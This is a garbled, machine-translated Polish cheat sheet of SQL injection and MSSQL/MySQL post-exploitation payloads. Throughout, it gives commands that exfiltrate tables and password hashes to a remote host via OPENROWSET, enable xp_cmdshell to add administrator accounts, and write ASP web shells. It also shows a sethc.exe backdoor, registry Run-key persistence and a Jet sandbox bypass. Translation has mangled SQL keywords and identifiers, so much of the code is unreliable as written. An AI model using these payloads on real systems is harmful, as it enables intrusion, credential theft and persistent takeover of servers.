* z tabeli 2 To polecenie liniowe kopiuje wszystkie dane z tabeli table2 na docelowym hostze do tabeli table1 w bazie danych _blank> zdalnej. Odpowiednie naprawy w praktyce
Zmień adres IP i port ciągu połączeń, aby wskazywał tam, gdzie go potrzebujesz, na przykład: insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,wybierz
* z tabeli1) wybierz * z tabeli2 insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,wybierz
* z _blank>_sysdatabases) Wybierz * z master.dbo.sysdatabases insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,wybierz
* z _blank>_sysobjects) Wybierz * z user_blank>_database.dbo.sysobjects insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,wybierz
* z _blank>_syscolumns) Wybierz * z user_blank>_database.dbo.syscolumns Replikuj _blank> bazę danych: insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,wybierz
* z tabeli 1) wybierz * z bazy danych.. Tabela1 insert do OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,wybierz
* z tabeli 2) wybierz * z bazy danych.. Tabela2
Hash hasła kopiującego tablicę skrótu (HASH) _blank> hasło jest przechowywany w sysxlogins. Oto jak: insert into OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Network=DBMSSOCN; Adres=192.168.0.1,1433; ,wybierz * z _blank>_sysxlogins)
Wybierz * z database.dbo.sysxlogins Gdy już zdobędziesz hash, możesz go wymusić siłą.
Aby przechodzić przez katalog: Najpierw stwórz tymczasową tabelę: temp ; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); – ; wstaw temp exec master.dbo.xp_blank>_availablemedia; – Pobierz wszystkie prądowe napędy ; wstaw do temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Pobierz listę podkatalogów ; Wstaw do temp(id,num1) wynik master.dbo.xp_blank>_dirtree c:\; – Uzyskaj strukturę drzewa katalogów dla wszystkich podkatalogów,
Połącz cale z tabelą temperatur ; wstaw do temp(id) exec master.dbo.xp_blank>_cmdshell wpisz c:\web\index.asp; – Zobacz plik
Treść ; wstaw do temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; – ; wstaw do temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; – ; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc ; Wstaw do temp(id,num1) wynik master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Odpowiednie uprawnienia
PUBLICZNIE) Napisz do stołu: Instrukcja 1: oraz 1=(Wybierz IS_blank>_SRVROLEMEMBER(sysadmin)); – Oświadczenie 2: oraz 1=(Wybierz IS_blank>_SRVROLEMEMBER(serweradmin)); – Oświadczenie 3: oraz 1=(Wybierz IS_blank>_SRVROLEMEMBER(setupadmin)); – Zdanie 4: oraz 1=(Wybierz IS_blank>_SRVROLEMEMBER(securityadmin)); – Zdanie 5: oraz 1=(Wybierz IS_blank>_SRVROLEMEMBER(securityadmin)); – Oświadczenie 6: oraz 1=(Wybierz IS_blank>_SRVROLEMEMBER(diskadmin)); – Zdanie 7: oraz 1=(Wybierz IS_blank>_SRVROLEMEMBER(bulkadmin)); – Oświadczenie 8: oraz 1=(Wybierz IS_blank>_SRVROLEMEMBER(bulkadmin)); – Zdanie 9: oraz 1=(Wybierz IS_blank>_MEMBER(db_blank>_owner)); –
Zapisz ścieżkę do tabeli: ; Stwórz tabelę Dirs(paths varchar(100), id int)– ; Wstaw dirs exec master.dbo.xp_blank>_dirtree c:\– oraz 0<>(wybierz top 1 ścieżki z Dirs)– oraz 0<>(wybierz górne 1 ścieżki z kierunków, gdzie ścieżki nie należą do (@Inetpub))– ; Create table dirs1(paths varchar(100), id int)– ; wstaw dirs exec master.dbo.xp_blank>_dirtree e:\web– oraz 0<>(wybierz top 1 ścieżki z dirs1)–
Wykonaj kopię zapasową _blank> bazy danych do katalogu webowego: Pobierz ; zadeklaruj @a nazwę systemu; zestaw @a=db_blank>_name(); backup database @a to disk=e:\web\down.bak; –
oraz 1=(Wybierz top 1 nazwę z(Wybierz top 12 id,nazwa z sysobjects, gdzie xtype=char(85)) T
kolejność według ID opisując) oraz 1=(Wybierz Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) z sysobjects) Zobacz także
Powiązane tabele. oraz 1=(wybierz user_blank>_id z USER_blank>_LOGIN) oraz 0=(wybierz użytkownika z USER_blank>_LOGIN gdzie użytkownik>1)
-=- wscrip{filter}t.shell przykład -=- deklaruj @o int Exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe ; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
deklaruj @o int, @f int, @t int, @ret int deklaruj @line varchar(8000) exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, OpenTextfile, @f out, c:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, readline, @line out while( @ret = 0 ) zaczynaj druk @line exec @ret = sp_blank>_oamethod @f, readline, @line out koniec
deklaruj @o int, @f int, @t int, @ret int exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>
deklaruj @o int, @ret int executive sp_blank>_oacreate speech.voicetext, @o koniec exec sp_blank>_oamethod @o, rejestr, NULL, foo, bar Wykonawczy sp_blank>_oasetproperty @o, prędkość, 150 exec sp_blank>_oamethod @o, mów, NULL, wszystkie twoje serwery sequeli należą do,US, 528 czekaj na opóźnienie 00:00:05
; deklaruj @o int, @ret int executive sp_blank>_oacreate speech.voicetext, @o out exec
sp_blank>_oamethod @o, rejestr, NULL, foo, bar executive sp_blank>_oasetproperty @o, speed, 150 executive
sp_blank>_oamethod @o, mów, NULL, wszystkie twoje serwery sequeli należą do nas, 528 czekaj na opóźnienie
00:00:05–
xp_blank>_dirtree obowiązujące PUBLICZNE pozwolenie exec master.dbo.xp_blank>_dirtree c: Zwrócone informacje mają dwa pola: podkatalog, głębię. Pola podkatalogu
Typ znaku, pole głębi to pole kształtowania. Utwórz tabelę Directors(Paths Varchar(100), ID Int) Budowanie tabeli, tabela utworzona tutaj jest powiązana z powyższym xp_blank>_dirtree, z równymi polami i tym samym typem. wstaw dirs exec master.dbo.xp_blank>_dirtree c: Pod warunkiem, że zbudujemy tabelę i zdefiniujemy pola zwracane przez proces przechowywania równomiernie
Wykonaj! Aby osiągnąć efekt pisania tabel, krok po kroku, aby uzyskać potrzebne informacje! To wstrzykiwanie błędów opiera się głównie na przepełnieniu typu danych Mysql mysql > SELECT 18446744073709551610 * 2 ; BŁĄD 1690 (22003): Wartość BIGINT UNSIGNED jest poza zakresem w '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ; BŁĄD 1690 (22003): BIGINT NIEZNAKOMITA wartość jest poza zakresem w '(- (1) *
9223372036854775808)' Wersja bazy zapytań: mysql> SELECT * 2 (jeśli ((SELECT * from (SELECT (version ()) s), 18446744073709551610,
18446744073709551610)); BŁĄD 1690 (22003): Wartość BIGINT UNSIGNED jest poza zakresem w '(2 * jeśli (( Wybierz ' 5.5 'z
Dual), 18446744073709551610.18446744073709551610))' Uzyskaj nazwę pola: mysql> WYBIERZ 2 * jeśli((SELECT * from (select * from test.shop) jako '' limit 1)>(SELECT * from
test.shop limit 1), 18446744073709551610, 18446744073709551610);
BŁĄD 1690 (22003): Wartość BIGINT BEZ znaku jest poza zakresem w '(2 * jeśli((((wybierz
'article','dealer', 'price' from (wybierz 'test'.'shop'.'article' AS
'artykuł',,'test'.'sklep'.'dealer' AS 'dealer','test'.'shop'.'cena' AS 'cena' z
'test'. 'shop') limit 1) > (wybierz
'test'.'sklep'.'artykuł','test'.'sklep'.'dealer','test'.'sklep'.'cena' z 'test'.'sklep' limit
1)),18446744073709551610,18446744073709551610))' Uzyskaj wartość pola:
mysql> WYBIERZ 2 * jeśli((SELECT * from (select * from (mysql.user) LIMIT 1) jako '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610);
BŁĄD 1690 (22003): Wartość BIGINT BEZ znaku jest poza zakresem w '(2 * jeśli((((wybierz
'lokalny host', 'root', '*'', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '
Y', 'Y','Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y','Y', 'Y','','', '0','0',', ' z limitu dualnego 1)
<
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440
73709551610,18446744073709551610))'
Należy zauważyć, że ta metoda nie działa ze starszymi wersjami Mysql i musisz znać limit długości komunikatu o błędzie, ponieważ to będzie decydować o tym
Możesz mieć tyle czasu, ile chcesz: mysys / my_error.c
/* Maksymalna długość komunikatu o błędzie. Powinno być zsynchronizowane z MYSQL_ERRMSG_SIZE. */ #define ERRMSGSIZE (512)
Jeśli obiektem jest MariaDB (fork Mysql), możesz zobaczyć podobny komunikat o błędzie podczas próby powyższej metody:
mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,
18446744073709551610)) BŁĄD 1690 (22003): Wartość BIGINT BEZ znaku jest poza zakresem w '(2 * jeśli((wybierz
#),18446744073709551610,18446744073709551610))'
Jako rozwiązanie ten problem można rozwiązać w następujący sposób:
mysql> SELECT (I NIE JEST NULL) - -9223372036854775808 Z (SELECT (version())i)a; BŁĄD 1690 (22003): Wartość BIGINT jest poza zakresem w '(('5.5-MariaDB' nie jest null) - -
(9223372036854775808))' Zobaczmy teraz, czy uda nam się trochę skrócić nasz wektor
//查询数据库版本
SELECT 2*(if((SELECT * from (SELECT (version()))), 18446744073709551610,
18446744073709551610)) = wybierz 1E308*if((select*from(select version())x),2,2)
SELECT (i NIE JEST NULL) - -9223372036854775808 Z (SELECT (version())i)a = select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称 SELECT 2 * jeśli((SELECT * from (select * from test.shop) jako '' limit 1)>(SELECT * from
test.shop limit 1), 18446744073709551610, 18446744073709551610) = wybierz 1E308*jeśli((wybrać*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit
1),2,2)
//获取字段值
SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) jako '' limit 1) <
(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),
18446744073709551610, 18446744073709551610) = wybierz 1E308*jeśli((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from
mysql.user limit 0),2,2)
//获取指定字段的值 wybierz 1E308*if((select user|| host|| hasło|| file_priv from(select*from mysql.user LIMIT)
1) limit 1),2,2)
//获取字段个数
wybierz 1E308*if((select*from mysql.user limit 1)>(wybierz 1),2,2)
Inne deformacje
SELECT (i NIE JEST NULL) - -9223372036854775808 Z (SELECT (version())i)a wybierz 1E308*if((select user|| host|| hasło|| file_priv from(select*from mysql.user LIMIT)
1) limit 1),2,2); => wybierz 2*jeśli((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); mysql> wybierz (wybierz * z mysql.user)=1; mysql> wybierz (wybierz * z mysql.user)in(1);
BŁĄD 1241 (21000): Operand powinien zawierać 42 kolumny wybierz 2*jeśli((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit
1),1e308,0); wybierz jeśli((wybierz użytkownika|| host|| hasło|| file_priv from(select*from mysql.user LIMIT 1)a
limit 1),2,2)*1E308 SELECT (i NIE JEST NULL) - -9223372036854775808 Z (SELECT (version())i)a select (x!=0x00)--9223372036854775808 from(SELECT version()x)y mysql> select!x-~0.FROM(select+user()x)f; BŁĄD 1690 (22003): BIGINT WARTOŚĆ NIEZNANA jest poza zakresem w '((not('root@localhost')) - ~
(0))' 3. Ocenić system baz danych ; oraz (wybierz count(*) z sysobjects)>0 mssql ; oraz (wybierz count(*) z msysobjects)>0 dostępu 4. Parametr wstrzyknięcia to znak 'and [kryteria zapytania] oraz ''=' 5. Podczas wyszukiwania nie ma filtrowanych parametrów 'and [kryteria zapytania] oraz '%25'=' 6. Zgadnij bazę danych ; oraz (wybierz Count(*) z [nazwa bazy danych])>0 7. Zgadnij pole ; oraz (wybierz Count(field name) z nazwy bazy danych)>0 8. Zgadnij długość rekordu w polu ; oraz (wybierz top 1 len (nazwa pola) z nazwy bazy danych)>0 9. (1) Zgaduj wartość ASCII pola (dostęp) ; oraz (wybierz top 1 ASC(Mid(field name, 1,1)) z nazwy bazy danych)>0 (2) Zgadnij wartość ASCII pola (mssql) ; oraz (wybierz top 1 unicode(substring(field name, 1,1)) z nazwy bazy danych)>0 10. Struktura uprawnień testowych (mssql) ; oraz 1=(wybierz IS_SRVROLEMEMBER('sysadmin')); -- ; oraz 1=(wybierz IS_SRVROLEMEMBER('serveradmin')); -- ; oraz 1=(wybierz IS_SRVROLEMEMBER('setupadmin')); -- ; oraz 1=(wybierz IS_SRVROLEMEMBER('securityadmin')); -- ; oraz 1=(wybierz IS_SRVROLEMEMBER('diskadmin')); -- ; oraz 1=(wybierz IS_SRVROLEMEMBER('bulkadmin')); -- ; oraz 1=(wybierz IS_MEMBER('db_owner')); -- 11. Dodaj konto dla mssql i systemu ; nazwa użytkownika master.dbo.sp_addlogin wykonawcza; -- ; exec master.dbo.sp_password null, nazwa użytkownika, hasło; -- ; nazwa użytkownika administratora systemu executive master.dbo.sp_addsrvrolemember; -- ; exec master.dbo.xp_cmdshell 'net username, password /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add';-- ; exec, master.dbo.xp_cmdshell 'net username, password'; -- ; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; -- 12. (1) Przejrzyj katalog ; Utwórz tabelę Directors(Paths Varchar(100), ID Int) ; Wstaw dirs exec master.dbo.xp_dirtree 'c:\' ; oraz (wybierz top 1 ścieżek z Dirs)>0 ; oraz (wybierz top 1 ścieżek z kierunków, gdzie ścieżki nie należą do ('ścieżki uzyskane z poprzedniego kroku'))>) (2) Przemierzanie katalogu ; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; wstaw temp exec master.dbo.xp_availablemedia; -- Pobierz wszystkie napędy prądowe ; wstaw do temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Pobierz listę podkatalogów ; wstaw do temp(id,num1) wynik master.dbo.xp_dirtree 'c:\'; -- Uzyskaj strukturę drzewa katalogów dla wszystkich podkatalogów ; wstaw do temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Zobacz zawartość pliku 13. Procedury przechowywane w mssql xp_regenumvalues Klucz root rejestru, klucz potomny ; np. xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' i inne
Metoda zestawu rekordów zwracająca wszystkie wartości kluczy xp_regread Klucz główny, klucz potomny, nazwa klucz-wartość ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion','CommonFilesDir' zwraca wartość klucza formułowania xp_regwrite Klucz główny, klucz potomny, nazwa wartości, typ wartości, wartość Istnieją dwa typy wartości REG_SZ REG_DWORD dla typów znaków oraz dla liczb całkowitych ; executive xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' są zapisywane w rejestrze xp_regdeletevalue Klucz główny, podklucz, nazwa wartości executive xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows
\CurrentVersion', 'TestvalueName' do usunięcia wartości xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' do usuwania,
Uwzględnij wszystkie wartości pod tym kluczem 14. Kopia zapasowa mssql tworzy webshell Model użycia create table cmd (str image); wstaw do wartości cmd(str) ('<% Dim oscrip{filter}t %>'); model bazy zapasowej na dysk='c:\l.asp'; 15. Funkcje wbudowane MSSQL ; oraz (wybierz @@version)>0, aby uzyskać numer wersji Windows ; oraz user_name()='dbo', aby określić, czy podłączony użytkownik obecnego systemu jest SA ; oraz (wybierz user_name()>0 Zniszczył podłączonych użytkowników obecnego systemu ; oraz (wybierz db_name()>0, aby uzyskać aktualnie połączoną bazę danych 16. Zwięzła webshell Model użycia create table cmd (str image); Wprowadź do wartości cmd(str) ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c
"&request("c")).stdout.readall%>'); model bazy zapasowej na dysk='g:\wwwtest\l.asp'; Przy prośbie użyj czegoś takiego:
http://ip/l.asp?c=dir ================================================================================================
================================================================================================
================================================================================================
================================================================================================
============================ Pobierz wszystkie nazwy baz danych, w tym bazy systemowe –WYBIERZ nazwę Z master.dbo.sysdatabases
– Uzyskaj wszystkie nazwy baz danych niezwiązanych z systemem –wybierz [nazwa] z master.dbo.sysdatabases, gdzie DBId>6 Uporządkuj według [Imię]
– Zdobądź wszystkie informacje, w tym adres pliku bazy danych –wybierz * z master.dbo.sysdatabases, gdzie DBId>6 Order By
[Imię]
To zapytanie o instrukcje zwraca wszystkie tabele użytkownika
Wybierz * z sysobjectów, gdzie xtype='u'
Zapytaj wszystkie informacje z tabeli danych w systemie
Wybierz * z sysobjects
Spójrz na nazwę maszyny Wybierz * z sys.servers
Spis treści kolumn Wykonawczy master.dbo.xp_subdirs 'C:\'
Wykonawca master.dbo.xp_dirtree 'C:',1,1 db_owner Uprawnienia mogą być egzekwowane
exec master.dbo.xp_dirtree 'c:/Program Files',1,1
Kod programowy, napisany w webshellu
Wykonawczy master.dbo.xp_subdirs 'd:\web\www.xx.com'; Wykonawczy sp_makewebtask 'D:
\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"
Wykonaj wykonanie, mistrzu... xp_enumgroups
Użytkownicy systemu traverse
Wykonaj wykonanie, mistrzu... xp_getnetname Pobierz aktualną nazwę maszyny
--Wypisz stałe dyski na serwerze wraz z dostępną przestrzenią dla każdego dysku DBO Public
wykonaj
xp_ntsec_enumdomains
-- Załóż konto, aby zalogować się do MSSQL Imię master.dbo.sp_addlogin Wykonawczy, Pass; --
-- Wymień nazwę domeny serwera xp_ntsec_enumdomains // Nazwa maszyny //dbo public
-- Zatrzymaj lub rozpocznij usługę xp_servicecontrol 'stop', 'schedule' //schedule to nazwa usługi //dbo
--Użyj pid
Zatrzymaj wykonywany program xp_terminate_process 123 //123 to PID //DBO
-- Wymienione są tylko podkatalogi w katalogu dbo.xp_subdirs 'C:' //dbo
SQL Server Metoda otwarcia xp_cmdshell w 2005 roku EXEC sp_configure 'pokaż zaawansowane opcje', 1; REKONFIGUROWAĆ; EXEC
sp_configure 'xp_cmdshell', 1; REKONFIGUROWAĆ;
SQL2005 Otwórz 'OPENROWSET' Wspierane metody: Dyrektor sp_configure 'Pokaż zaawansowane opcje', 1; REKONFIGUROWAĆ; Wykonawczy sp_configure 'Ad Hoc
Distributed Queries',1; REKONFIGUROWAĆ;
SQL2005 umożliwić wsparcie 'sp_oacreate': Dyrektor sp_configure 'Pokaż zaawansowane opcje', 1; REKONFIGUROWAĆ; Wykonawczy
sp_configure 'Ole Automation Procedures',1; REKONFIGURUJ
Jak włączyć xp_cmdshell w SQL Server 2008
-- Aby umożliwić zmianę opcji zaawansowanych. EXEC
sp_configure 'pokaż zaawansowane opcje', 1 IDŹ -- Aktualizować aktualnie skonfigurowaną wartość dla
Zaawansowane opcje. REKONFIGURUJ IDŹ -- Aby włączyć tę funkcję. DYREKTOR sp_configure 'xp_cmdshell', 1 IDŹ -- Do
Zaktualizuj aktualnie skonfigurowaną wartość dla tej funkcji. REKONFIGURUJ IDŹ
Exec xp_cmdshell 'ipconfig'
Dziś chciałem zmienić hasło logowania do SA serwera bazy danych, ale nagle zapomniałem, więc musiałem otworzyć analizator zapytań z pomocą innych kont, aby zmienić hasło SA
To bardzo proste:
Wykonanie: sp_password Null, 'teracypwd', 'sa' Ustaw hasło SA na "teracypwd"
Po pomyślnej egzekucji
Jest też "Komendy zakończone pomyślnie." OK!
W uprawnieniach bazy danych oddziel metodę uzyskania adresu IP serwera bazy danych MSSQL
1. Lokalna Karolina Północna słucha NC - VVLP 80
2.; wstaw do
OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Network=DBMSSOCN; Adres = Twój IP, 80; ', 'wybierz * z
dest_table') wybierz * spośród src_table; --
Wybierz * z openrowset
('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','wybierz użytkownika; ')
Import i eksport bazy danych
/*不同服务器数据库之间的数据操作*/
--Utworzenie serwera łącza sp_addlinkedserver wykonawczy
'ITSV', 'SQLOLEDB', 'Zdalna nazwa serwera lub adres IP' exec sp_addlinkedsrvlogin 'ITSV', 'false
',null, 'nazwa użytkownika', 'hasło'
--przykład zapytania wybierz * z ITSV.database name.dbo.table name
--import example Wybierz *
do tabeli z ITSV.databasename.dbo.tablename
--Usuń powiązany serwer, jeśli w przyszłości nie będzie już używany wykonawczy sp_dropserver 'ITSV',
'droplogins'
-- Łączenie się z danymi zdalnymi/LAN (openrowset/openquery/opendatasource) --1、openrowset
--przykład zapytania Wybierz *
from openrowset( 'SQLOLEDB ', 'nazwa serwera sql'; 'Nazwa użytkownika'; 'password', nazwa bazy danych.dbo.table name)
-- Wygeneruj lokalną tabelę wybierz * do tabeli z openrowset( 'SQLOLEDB ', 'nazwa serwera sql'; 'Nazwa użytkownika'; 'Hasło', numer
Według nazwy bazy danych.dbo. nazwa tabeli)
-- Importuj lokalną tabelę do zdalnej tabeli wstaw openrowset( 'SQLOLEDB', 'nazwa serwera sql'; 'Nazwa użytkownika'; "Hasła", bazy danych
nazwa.dbo.nazwa tabeli) Wybierz *z lokalnej tabeli
-- Aktualizuj lokalne tabele Aktualizacja B zbiór b. kolumna A = a from openrowset( 'SQLOLEDB ', 'nazwa serwera sql'; 'Nazwa użytkownika'; '
hasło ', nazwa bazy danych .dbo.table name) jako wewnętrzny join lokalna tabela b na a.column1=b.column1
--openquery Użycie wymaga nawiązania połączenia
--Najpierw utworzyć połączenie, aby utworzyć serwer łącza exec sp_addlinkedserver 'ITSV', ' ',
'SQLOLEDB', 'zdalna nazwa serwera lub adres IP' --Pytaj Wybierz * FROM openquery(ITSV, 'SELECT * FROM danych
library.dbo.table name ') -- Importuj lokalną tabelę do zdalnej tabeli wstaw openquery(ITSV, 'SELECT * FROM DATABASE.DBO.TABLE NAME') Wybierz * z lokalnego
Tabela --aktualizacja lokalnej tabeli Aktualizacja B zbiór b. kolumna B=a FROM openquery(ITSV, 'SELECT * FROM database.dbo.tablename')
jako wewnętrzny spój lokalny tabela b na kolumnie A=b. kolumna A
--3、opendatasource/openrowset WYBIERZ * OD
opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; ID użytkownika = Nazwa logowania; Hasło=Hasło '
).test.dbo.roy_ta -- Importuj lokalną tabelę do zdalnej tabeli
Usunięcie i przywrócenie xp_cmdshell
Sposoby na odzyskanie xp_cmdshell Usuń rozszerzoną procedurę przechowywaną xp_cmdshell
Sformułowanie Wykonawczy sp_dropextendedproc 'xp_cmdshell'
Recover the sql statement of cmdshell egzekulator sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Wykonawczy
master.dbo.addendedproc 'xp_cmdshell','xplog70.dll'; Wybierz count(*) z
master.dbo.sysobjects gdzie xtype='x' oraz Wynik to 1 i jest w porządku
W przeciwnym razie musisz przesłać c:\inetput\web
\xplog70.dll później Wykonawczy master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll
’; --
Jeśli usuniesz to w następujący sposób Procedura zrzutu sp_addextendedproc Procedura zrzutu sp_oacreate Wykonawczy
sp_dropextendedproc 'xp_cmdshell'
Możesz ją przywrócić następującym oświadczeniem dbcc addextendedproc ("sp_oacreate","odsole70.dll") DBCC
addextendedproc ("xp_cmdshell","xplog70.dll")
W ten sposób można ją przywrócić bezpośrednio, niezależnie od tego, czy sp_addextendedproc istnieje, czy nie
1、 Użyj xp_cmdshell: Exec master.dbo.xp_cmdshell "net user admin admin /add" Wykonawczy
master.dbo.xp_cmdshell "net localgroup administrators admin /add"
W xp_cmdshell przypadku użyj sp_oacreate, aby podążać za sp_oamethod: deklaruj @object int Wykonawczy
sp_oacreate 'wscrip{filter}t.Shell', @object koniec Wykonawczy sp_oamethod
@object,'Run', NULL,'net user admin admin /add' exec sp_oamethod @object, 'Run', NULL,'net
localgroup Administratorzy admin /add'
Uwaga: regsvr32 /s c:\windows\system32\wshom.ocx Start wscrip{filter}t.shell 3、 Korzystaj z sp_oacreate i FSO deklaruj @o int sp_oacreate wykonawczy
'scrip{filter}ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile', null,'c:\windows
\explorer.exe' ,'c:\windows\system32\sethc.exe'; deklaruj @oo int Wykonawczy
sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out sp_oamethod @oo wykonawczy,
'copyfile', null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\sethc.exe';
Użyj xp_regwrite (db_owner, wymagany restart): master.dbo.xp_regwrite wykonawczy
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd1','reg_sz','net user admin admin /add' master.dbo.xp_regwrite wykonawczy
'hkey_local_machine','software\microsoft\windows\currentversion\
run','eadd2','reg_sz', 'net localgroup administrators admin /add' 5. Używaj sp_add_job: Wykonawczy
master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT' Korzystaj z MSDB Exec sp_delete_job
null,'x' Wykonawczy sp_add_job 'X' Wykonawczy sp_add_jobstep
Null,'x', Null,'1','CMDEXEC', 'cmd /c net user admin admin /add' Wykonawczy sp_add_jobserver
Null, 'x', @@servername exec sp_start_job 'x'
Wielu SA osiągnęło sukces na wielu maszynach bezpośrednio w trybie sandbox, ale nigdy go nie ćwiczyłem i nie wiem, jaki jest wskaźnik sukcesu. Gdy przedłużenie zostanie usunięte, najpierw
Przywróć pamięć do odczytu i zapisu do rejestru. dbcc addextendedproc ('xp_regread','xpstar.dll') dbcc addextendedproc
('xp_regwrite','xpstar.dll')
Naprawiono tryb chroniony piaskownicy Mistrz wykonawczy... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet
\4.0\Engines', 'SandBox Mode','REG_DWORD',0; --
Sprawdź, czy wartość 'SandBoxMode' zmieniła się na 0.
master.dbo.xp_regread wykonawczy 'HKEY_LOCAL_MACHINE','SOFTWARE
\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
Na koniec wywołaj tryb sandbox select * from openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS
\system32\ias\dnary.mdb','select shell("cmd.exe /c net user user passwd /add")')
Jeśli tryb ochrony piaskownicy nie jest "wyłączony", zgłaszany jest błąd: Serwer: Msg 7357, poziom 16, stan 2, linia 1
Nie udało się obsłużyć obiektu 'select shell("cmd.exe /c net user pass /add")'. OLE DB oferuje programy
Przedmowa 'microsoft.jet.oledb.4.0' wskazuje, że w obiekcie nie ma kolumn.
Śledzenie błędów OLE DB [Błąd nieinterfejsowy: Dostawca OLE DB nie może przetwarzać obiektu, ponieważ obiekt
has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user
użytkownik passwd /add")']。
2、 Jeśli .mdb nie istnieje lub ścieżka wejściowa jest nieprawidłowa Serwer: Msg 7399, poziom 16, stan 1, linia 1
OLE DB provider 'microsoft.jet.oledb.4.0' error. [Dostawca OLE/DB zwrócił wiadomość:
Plik 'C:\WINDOWS\system32\ias\dnary1.mdb' nie znaleziono. ]
OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned
0x80004005: ]。
3. Jeśli podczas procesu wprowadzania pojawi się więcej miejsc, również zostanie zgłoszony błąd. Zwróć na to szczególną uwagę, wiele osób bezpośrednio szuka artykułów w internecie
Wklej to i wykonaj. Serwer: Msg 7357, poziom 16, stan 2, linia 1 Nie udało się przetworzyć obiektu 'select'
shell("cmd.exe /c net user passwd /add")'。 Dostawca OLE DB 'microsoft.jet.oledb.4.0' informuje, że w obiekcie nie ma kolumn.
Śledzenie błędów w OLE DB [Błąd nieinterfejsowy: Dostawca OLE DB nie może przetwarzać obiektów, ponieważ obiekt ma
nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user
passwd /add")']。
4、 Jeśli uprawnienia mdb i cmd.exe są błędne, problem również się pojawi. Gdy uprawnienia MDB są nieprawidłowe, Serwer: Eliminuj
Interes 7320, poziom 16, stan 2, linia 1
